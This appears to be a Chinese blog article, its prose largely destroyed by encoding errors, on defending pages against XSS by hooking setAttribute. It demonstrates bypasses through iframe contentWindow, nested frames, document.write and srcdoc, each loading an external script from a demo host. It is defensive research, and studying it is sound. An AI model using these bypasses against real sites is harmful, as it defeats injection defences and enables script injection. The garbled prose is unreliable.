????????淴??
????????????磬??????????????????
???????????????????t???????ε???????????????????????????????????????????????????????ī???????????????????????
??????????????????????棬?????? contentWindow ???????????μ??????
????// ?????????????
????var frm = document.createElement('iframe');
????document.body.appendChild(frm);
????var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
????// ???????
????var el = document.createElement('script');
????raw_fn.call(el?? 'SRC'?? 'http://www.etherdream.com/xss/alert.js');
????document.body.appendChild(el);
????Run
??????????????????????????
????????????????????????????????????????????????????????е???ж????????????????????????????
????????????????????????棬??????????????????????????????μ?????????????????????????????????????????????? contentWindow ??????й?????
??????????????ó????????????????????????????軔?′????????????????
????????????????????? createElement ???????????????????ж??????????????????????????????????棬??????????
????????????????????????????????????????????δ?????????????????contentWindow ????? null????????????????? appendChild ???????????????檔
????????????y??????о??????????????????????? appendChild ????????????? contentWindow ?????????????

var observer = new MutationObserver(function(mutations) {
console.log('MutationObserver:'?? mutations);
});
observer.observe(document?? {
subtree: true??
childList: true
});
document.addEventListener('DOMNodeInserted'?? function(e) {
console.log('DOMNodeInserted:'?? e);
}?? true);
// ?????????????
var frm = document.createElement('iframe');
console.warn('begin');
document.body.appendChild(frm);
console.warn('end');
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
/** ???
begin
DOMNodeInserted  MutationEvent
end
MutationObserver:  Array[1]
MutationObserver:  Array[1]
*/
Run
????????DOMNodeInserted ????????????????????????????????????????
????????????п???????????????????????????????????
// ?????????
(function() {
function installHook(window) {
// ??????????
var raw_fn = window.Element.prototype.setAttribute;
// ?????????
window.Element.prototype.setAttribute = function(name?? value) {
// ????
alert(name);
// ???????
raw_fn.apply(this?? arguments);
};
}
// ???????????
installHook(window);
document.addEventListener('DOMNodeInserted'?? function(e) {
var element = e.target;
// ?????????????????
if (element.tagName == 'IFRAME') {
installHook(element.contentWindow);
}
}?? true);
})();
// ?????????????
var frm = document.createElement('iframe');
document.body.appendChild(frm);
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
// ???????
var el = document.createElement('script');
raw_fn.call(el?? 'SRC'?? 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);
Run
????????????????????????????????????????????????????????????????
??????????ò??????Щ????????????????????????????????
// ????????
var frm = document.createElement('iframe');
document.body.appendChild(frm);
// ?????????????
var doc = frm.contentDocument;
var frm2 = doc.createElement('iframe');
doc.body.appendChild(frm2);
// ??????
var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;
// ???????
var el = document.createElement('script');
raw_fn.call(el?? 'SRC'?? 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);
Run

????????????????滷????????????????????????????????????????????????????????????????????
???????????????????????????????? DOMNodeInserted ????????????????????????????η??????????????????????

// ?????????
(function() {
function installHook(window) {
// ??????????
var raw_fn = window.Element.prototype.setAttribute;
// ?????????
window.Element.prototype.setAttribute = function(name?? value) {
// ????
alert(name);
// ???????
raw_fn.apply(this?? arguments);
};
// ??????????????
window.document.addEventListener('DOMNodeInserted'?? function(e) {
var element = e.target;
// ?????????????????
if (element.tagName == 'IFRAME') {
installHook(element.contentWindow);
}
}?? true);
}
// ???????????
installHook(window);
})();
Run
??????????С?????????? DOMNodeInserted ??? installHook ???????????????????????? window ?е??????м????????????????????????
??????????????????????????????????
????????????????
????????????????е????
??????????????????????????????????????????????檔???????????? XSS ???????????????????????????????????????????????ι?????
???????????????????????????????????????????????????????????????????
// ????????
var frm = document.createElement('iframe');
document.body.appendChild(frm);
// ???????
frm.contentDocument.write('<script src=http://www.etherdream.com/xss/alert.js></script>');
Run
?????????о?????????????HTML5 ????????????????????????????????srcdoc??
<iframe srcdoc="<script src=http://www.etherdream.com/xss/alert.js></script>"></iframe>
Run
???????????????????е??
<iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe>
Run
?????????????????????????
?????????????????????document.write ???????????????? MutationObserver ??????????? srcdoc ??????????????????????????????????д?????????? HTML ???????????????????????????????????????????÷???????Ч?????????????
????????????????????? document.write ???????????????У???????????????????????з?????????? DOMContentLoaded ????? document.write ????ε?????????
???????
?????????????????????????ι????????????????????????????????????????????????????????????????
???????????????????????????API ????????????????????????????????????????????Щ??
???????? Flash ????????????е???????????????? object??embed??param ?????????
?????????API ?????????????棬??????????????????